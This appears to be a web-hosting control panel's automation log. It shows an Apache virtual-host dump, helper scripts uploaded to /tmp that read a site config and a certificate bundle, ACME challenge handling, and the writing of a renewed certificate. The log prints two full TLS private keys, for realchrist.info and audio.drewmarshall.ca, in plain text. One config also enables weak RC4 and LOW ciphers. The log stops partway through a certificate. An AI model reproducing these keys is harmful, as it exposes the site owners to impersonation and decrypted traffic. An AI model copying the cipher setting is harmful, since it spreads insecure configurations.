         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:23)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-17 06:00:14: 

PUT: /tmp/pkp614878

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/realchrist_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-17 06:00:14: 

chmod 755 /tmp/pkp614878; /tmp/pkp614878; rm /tmp/pkp614878

2026-06-17 06:00:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/realchrist_www_info.conf	1393

<VirtualHost *:80>
    ServerName	realchrist.info
    ServerAlias	www.realchrist.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realchrist_www
    <Directory /var/www/realchrist_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realchrist/www_access.log combined
    ErrorLog	/var/log/apache2/realchrist/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	realchrist.info
    ServerAlias	www.realchrist.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt
    DocumentRoot	/var/www/realchrist_www
    <Directory /var/www/realchrist_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realchrist/www_secure_access.log combined
    ErrorLog	/var/log/apache2/realchrist/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-06-17 06:00:14: 

PUT: /tmp/pkp477068

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-17 06:00:15: 

chmod 755 /tmp/pkp477068; /tmp/pkp477068; rm /tmp/pkp477068

2026-06-17 06:00:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt	7440
28:76:d6:a0:f6:e5:76:d7:20:db:ac:f2:ce:32:ee:63

-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBVvnZEgy0fOhCTrFBYp/kxVeMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjE3MDUwMTQyWhcNMjYwOTE1MDUwMTQxWjAaMRgwFgYDVQQD
Ew9yZWFsY2hyaXN0LmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDIOYssqdJsAMOqhXnwb9IP/GAmN2GHudoeoPZhDaiEbmIylac6HrJROJNNSFLu
42PJe1Daj7scu/E+mXq8LMgEjV5LTgNV+AHJ1bsfKqb4cCCfK8hTNQk1eQzHJL00
TTCvhc0A5VZZvICBdwteLT84DzzxrMIGsTQcZVUfkOirQbi+EPcv2cUFCRm8Sk7Z
29kC4KRqn3NibqPKJP1eBW236tYdpEDzclLqZA1vEcr7ZpNSTnFdoc9ctom7IjBJ
FXZdBsdF5IcUXKh0uH+GyNicI8atHGF14dwlo+hnYca/v+vSIikS29W9YgMDDCP+
Z5ZGgDDZ2Nno3nSIz7fMlhazAgMBAAGjggIxMIICLTAOBgNVHQ8BAf8EBAMCBaAw
EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU5vq7
1ULk/PfZdromGW7i+rO6bZgwHwYDVR0jBBgwFoAUHy81vkYUgs1Asa55LFV4+vfU
aPswMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIxLmkubGVu
Y3Iub3JnLzAvBgNVHREEKDAmgg9yZWFsY2hyaXN0LmluZm+CE3d3dy5yZWFsY2hy
aXN0LmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4Yd
aHR0cDovL3lyMS5jLmxlbmNyLm9yZy85NS5jcmwwggELBgorBgEEAdZ5AgQCBIH8
BIH5APcAdgDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZ7UKnJi
AAAEAwBHMEUCIGU6eRAedCspWUMjuu2Na5WJc5piHkvmblqWgPSvZo90AiEAvMvN
Rtg38x6qX/syOSuAQuSgnysMJUqPrsaQgoQOlvMAfQAm42RuWGkhI7w0P0ckNZs3
ks0kWojYFdOTM/2ZGKtHIwAAAZ7UKnGVAAgAAAUAHrzENAQDAEYwRAIgR90KJaDL
V/06UiYuhSNGKn61Ja8/LZZZZX8LD48+iHkCIDqeuhiPKSwUIE5rYFKk8ly0V7XF
nYyCPnHGZsrCS31lMA0GCSqGSIb3DQEBCwUAA4IBAQCQ+7e4UDsKwuT1lDmZoRtB
vTNWjIqZTT/zv2VSPv6+rY8KM2QD8sLmNOUiTQIBd64igZwJmYOLzLsJJDqNQUgT
Kbgpn0TbbI5Gf3ICrpo/kbO0fKWO0U5LCM4TkFXsPUZIMzXYgLxjxrGpNpsDvyZf
F2pchPwNa5+2AqOZVcWg1uwnWFgHmM+d7Y1NWbvQlYTsfwRO6AUKb6JbF7lwBrFo
+DjdVhB6rk05LnBX8bTJEq/4SfAczSHwipKdeRg22qM5kEkdKBJp1HajCcw2o9ye
I29CE84iymk22XDI/bNNXnFISoJYQXKZ33sqhIZ0vU6f3s4m0EEaZ2UozMprxpSf
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDIOYssqdJsAMOq
hXnwb9IP/GAmN2GHudoeoPZhDaiEbmIylac6HrJROJNNSFLu42PJe1Daj7scu/E+
mXq8LMgEjV5LTgNV+AHJ1bsfKqb4cCCfK8hTNQk1eQzHJL00TTCvhc0A5VZZvICB
dwteLT84DzzxrMIGsTQcZVUfkOirQbi+EPcv2cUFCRm8Sk7Z29kC4KRqn3NibqPK
JP1eBW236tYdpEDzclLqZA1vEcr7ZpNSTnFdoc9ctom7IjBJFXZdBsdF5IcUXKh0
uH+GyNicI8atHGF14dwlo+hnYca/v+vSIikS29W9YgMDDCP+Z5ZGgDDZ2Nno3nSI
z7fMlhazAgMBAAECggEAAae9RSjlYsmdZsTWtro0yACfLyZEMu1m5pKigjfj5tKn
pQXWsiTOZG7JFhmKv7AbsQE250HvWyGrej7KbZo+mVlSHyrSJmG3/OxhMSKyM/Um
fHXN14LTO06UF2SCSenmThCXUaATu5l3aH8oFfknW0hbQI0S2dbiL3kNjb2buRYh
UBxn+D10v0Qszsu7ULLSOYpRSy4TtW/cqaMDr9AjXTH1gGE4zjYnsxDlIQ+dyXGE
xxOPTVBi2irgZI5qlw50ZoulhFHBx4tmP9bTMZLgMyXo6BHtdhWK2+ARm9P2v0qX
5ooY56Iwe4kVVYwvSgcgKwy0BTgVZEFhev1l7MWBqQKBgQD6Pe3itHVqwqcYv3Yt
Mr7C6/9YHrmB+EctBuDBMFOhDpFFi3hZOHdqOCNvVnqyL9/uGOGxLY6067ziHFV0
w7iSc1vieTx1stpkayoN/JhwG+r2Jp54pHumN8QFeQml9ROQDvQC5H9v9EeY8J+z
FRfB5vJqGvwBNhBeENTFFDd8uQKBgQDM1Pv+AJub1VZB3tbYt2sWQY4LstTzkXDB
5IdY+2Mk1Hc9c44iQIRZwiNdWVfizJi7jmKMRWrgzaXsmt+hnPef1lb+VMd6Gi0k
b2GbXwXSB0ZSpPIqjxxkCbgrV3GbsV4zvRssfBQMaItwoBEe9xaytVd40WBjfY1x
3AqU0A+wywKBgE+neNpp8Nor3b6N61MVzQ0EzAHDve72FcnqX45/EI+6sFk/vO5B
gBlqhzUAhQvFG3WRq/2W7879HuGmfTkut8i+OahMSQd6B/Rg/ED5f5hn+pGh1121
lbpiE95eGckeyrxXViq5iysaydOP/HWnqClLlyxZLJBCIlGe7+tPtR3ZAoGAKbCz
9Xf0NByQ6OlNO2Dht+7x1Wm5tDWHCL/V2IOaI1XnSyeo50nQZmCASDC2FaBk+c+6
OSir30OcIPNIzyEeuXar0Co7S5vmUkMlT7VgfuYiJxIRhB4KvkXIKXIr2m+YZ9l2
nXBHuFrS/sJlmbLa+Na2Dg43myhj0Kfjs3RBrU8CgYAvnwjsNJG59PrbpGNVcn+U
3LWqO4nZqG21/G1Osc/jSzGVSY89OeUAAMcXM9uJfENDoR7NsWcOIHvQrIDvBNoJ
pzi9iefZww9bH3mmUDYcFj4WyJyegxB5MS1VlrQr+9dHmxXvHJzm0o3YbeczQT4r
lS8FTkisCruUsftIO51ouA==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-06-17 06:00:15: Establishing a connection
2026-06-17 06:00:18: Establishing a connection
2026-06-17 06:00:18: 

PUT: /tmp/pkp975005

#!/bin/bash
if [ -d "/var/www/drewmarshall_audio/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-17 06:00:19: 

chmod 755 /tmp/pkp975005; /tmp/pkp975005; rm /tmp/pkp975005

2026-06-17 06:00:19: 


1


2026-06-17 06:00:19: Establishing a connection
2026-06-17 06:00:19: 

PUT: /tmp/pkp879556

#!/bin/bash
mkdir -p "/var/www/drewmarshall_audio/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_audio/.well-known/acme-challenge/"
cat > 1jlAildqd54kqQlWzoaCuUZYX-Ci88KHrwAUwovVlSE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
1jlAildqd54kqQlWzoaCuUZYX-Ci88KHrwAUwovVlSE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 1jlAildqd54kqQlWzoaCuUZYX-Ci88KHrwAUwovVlSE


2026-06-17 06:00:19: 

chmod 755 /tmp/pkp879556; /tmp/pkp879556; rm /tmp/pkp879556

2026-06-17 06:00:19: 




2026-06-17 06:00:23: Establishing a connection
2026-06-17 06:00:23: 

PUT: /tmp/pkp488753

#!/bin/bash
mkdir -p "/var/www/drewmarshall_audio/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_audio/.well-known/acme-challenge/"
rm 1jlAildqd54kqQlWzoaCuUZYX-Ci88KHrwAUwovVlSE


2026-06-17 06:00:23: 

chmod 755 /tmp/pkp488753; /tmp/pkp488753; rm /tmp/pkp488753

2026-06-17 06:00:23: 




2026-06-17 06:00:23: Establishing a connection
2026-06-17 06:00:24: 

PUT: /tmp/pkp207533

#!/bin/bash
temp_file=$(mktemp)
TARGET=33fbf8d7936a8c67fb764b1ea4759d7a.crt

cat > $temp_file <<'endmsg'
88:f1:e4:ce:85:a9:5b:67:07:a9:ce:91:1d:80:6f:db

-----BEGIN CERTIFICATE-----
MIIFBTCCA+2gAwIBAgISBfJ5KdULlChNoxPEcUdgJdP0MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjE3MDUwMTUyWhcNMjYwOTE1MDUwMTUxWjAgMR4wHAYDVQQD
ExVhdWRpby5kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQCuc+ZPgPfbS7p3NTdvXacCmueV2Z1R4PHodVu2536OVLqdJyGEpGOP
oUMPOXlLLnXe9sIXq3mWNPbwKfC+oQwSiptGWlsn9HEZ6TPJh+9lTVeafJtuGM1d
kvJsO8QdvEV7W+sE17mcBRALxmqfBPNlsURJzHYgHj9GfzOeMiSecoedgJU42Ta1
JjLhsXrpGHPjNEsMLFfKiDBxVTqYklHHqo8zK/ljpbpOzQs40FK3ewIaS/Gf1pau
+j7CBSGX5KUNs4GKs5ZkNWzSLQgK2ZFR8t92mSPrHs28EYxvTjEHEvCWaLh38q/O
/kQl3eAN1KFbBaIOYYXKZ8lDI+qRVXc3AgMBAAGjggIkMIICIDAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUH+ngn/WYfixPbGy75eg0oJPp180wHwYDVR0jBBgwFoAUQBUtJnntMiCe35py
HdYyH4EMgQwwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIy
LmkubGVuY3Iub3JnLzAgBgNVHREEGTAXghVhdWRpby5kcmV3bWFyc2hhbGwuY2Ew
EwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgwJjAkoCKgIIYeaHR0cDovL3ly
Mi5jLmxlbmNyLm9yZy8xMTcuY3JsMIIBDAYKKwYBBAHWeQIEAgSB/QSB+gD4AHUA
yKPEf8ezrbk1awE/anoSbeM6TkOlxkb5l605dZkdz5oAAAGe1CqbWwAABAMARjBE
AiADi+qR7XFkpyykY/XcVq09D4lcP8H38nyx9rpN80w5HAIgLzjKFLdcYD42px+F
sohdSH3PgX4N19BX6G8pkhh5SjAAfwBs/lAZQ6heqRa8UtEz5NzJHvFBHH0lhCDR
c4CeGBjrOgAAAZ7UKp2hAAgAAAUAENgi6QQDAEgwRgIhAP4PXze4N3ABWzGMzaZx
EP3Hmtm0tDsDGTh3GMW88es6AiEAjSBs5e4VqV97xXbCarLkjBoB5PB15fjzYcjw
L+9e61EwDQYJKoZIhvcNAQELBQADggEBAKymrHjwzCDXmVNcoJpvqXwcWUFAN23o
mBCEW09/UnnSBCvQXeAKtIUXCZXCgt+CpeTKSyrguJ1DjkXIw4SdSPXSalWbk6U6
KQ30qw604WwtcJTsUkagOBGwHE5ndjm8trveFW7vgH3HJ1/5517M2XMxmg6Fxk4z
O4xuMbw2t2lFGwkSaakatzm6nWdg5IWzNHG7hLGgCdEDQ2P7VgjFhj/dC7jYUbzr
hl2anC3xsm1/s1WrM+BE2S8vOZKm4Gulk/e7rP78pkK+ckm4zE2KK0ZPkn4sEqg9
Nd6TJ/Zz4sKr8cNVt6P8h0JnQngdg+cbnRDG94TFgbp2xCqzn4dfVF8=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCuc+ZPgPfbS7p3
NTdvXacCmueV2Z1R4PHodVu2536OVLqdJyGEpGOPoUMPOXlLLnXe9sIXq3mWNPbw
KfC+oQwSiptGWlsn9HEZ6TPJh+9lTVeafJtuGM1dkvJsO8QdvEV7W+sE17mcBRAL
xmqfBPNlsURJzHYgHj9GfzOeMiSecoedgJU42Ta1JjLhsXrpGHPjNEsMLFfKiDBx
VTqYklHHqo8zK/ljpbpOzQs40FK3ewIaS/Gf1pau+j7CBSGX5KUNs4GKs5ZkNWzS
LQgK2ZFR8t92mSPrHs28EYxvTjEHEvCWaLh38q/O/kQl3eAN1KFbBaIOYYXKZ8lD
I+qRVXc3AgMBAAECggEABr+UAVpR/DPd5t5Hooa4aa44AYDKsvqlJk1ikAeSH+EL
hlMXsFZdmuuYOP62VaAFTkE0Y+RYY+Tw8nxk2YhIURqh2WMFvgduLUbrSm34PEPK
0j6PZ/8Mnq81soB4sdUbyPhWyzf/Gu0f4EdmI3hLuWYrPUGWsN+1VJL3b7StMaCD
GhsAH4BU0zfQ95EqTA1DpnTdqJAutIKmJDqjING0djowIHLtezw4EtMRbxdr0IX1
naMKsh1REvohl/zgNETlOwAn2TJB02JBx8BZkID/ChERX5IoeXJWhp3R2ip3SEHz
+Rlbv92RqO/cEny6R8mgX7SsONM1tjMjWtlNKHHl7QKBgQDtIWSeTtrXx7JobnIX
1V3Afsjj9vI4jsyo9dWrz8LSNTrBi9EHgv71zxII1I8wfP9xBaTdl7YHPiw2Tsrh
74JAf0dGj3IK9RviQwqX+jcI2LYYlmz2KWTEJH0Per85ueU375O71TPwv/uQmaKb
B2BPZ//iluLLXBJugUmCUI5hrQKBgQC8VbFoctNWX3pEuzuQQqUauPix8xheJBWa
v4fEsfBOHZ82DYHldRrUR/EbuKvPrusIu1IAx4QOfmZE9WBdqu60NL9irm8ABHlN
xMIjgOsD5d0fInZk5diJPB/+mQFUom6cbDJblZo5CpUR/vbpwUak68OYxmaOh+V7
ATO5FEHA8wKBgBkylzKLRo3vVnHqao1FyvSNhGNU9mA0LGM33ECpjxYvOdMfPFME
BHuySURO8fhBEBO+ecpiOKGEZcZPkRd5D+oynCxPSdsIOLJOVW3Y1MhH3vG16lYu
B9sf1XoznOZRbp4HAzfOa/qFLAItkS3QFtfZQUOerPLXEc5URq9mR/rxAoGAcDos
To5mK0kX5g8gblWYZzUkVX4D3k1oZl+NuwNBrHrwXdhsuFwxEaCRJ7DDCS41tm1R
b090/OILdTo3I3nxZocsKNTDJmKEGniOK3PuF9OJEb2KiZOBlj2y3xcz+MgWW7YJ
yBN85FLPA/tIDYFz5GDtnINVp8eJUuQjez179UsCgYByZHXKodOeCy2Ouo4JZCB8
LQnnHc80A5pZC7cOAcO8SZqW2oDQEytP0C5j0F5Q9QbA3RQEif9MmodP1Q3msJ7a
cyG/mGE/46Jq7xsQNyiDriOmXX7YgPs19rXYGmVJ1vTg+gqawFVUNG7PEXDebjTh
npgzg0hmdoEWzTPhF47pNg==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
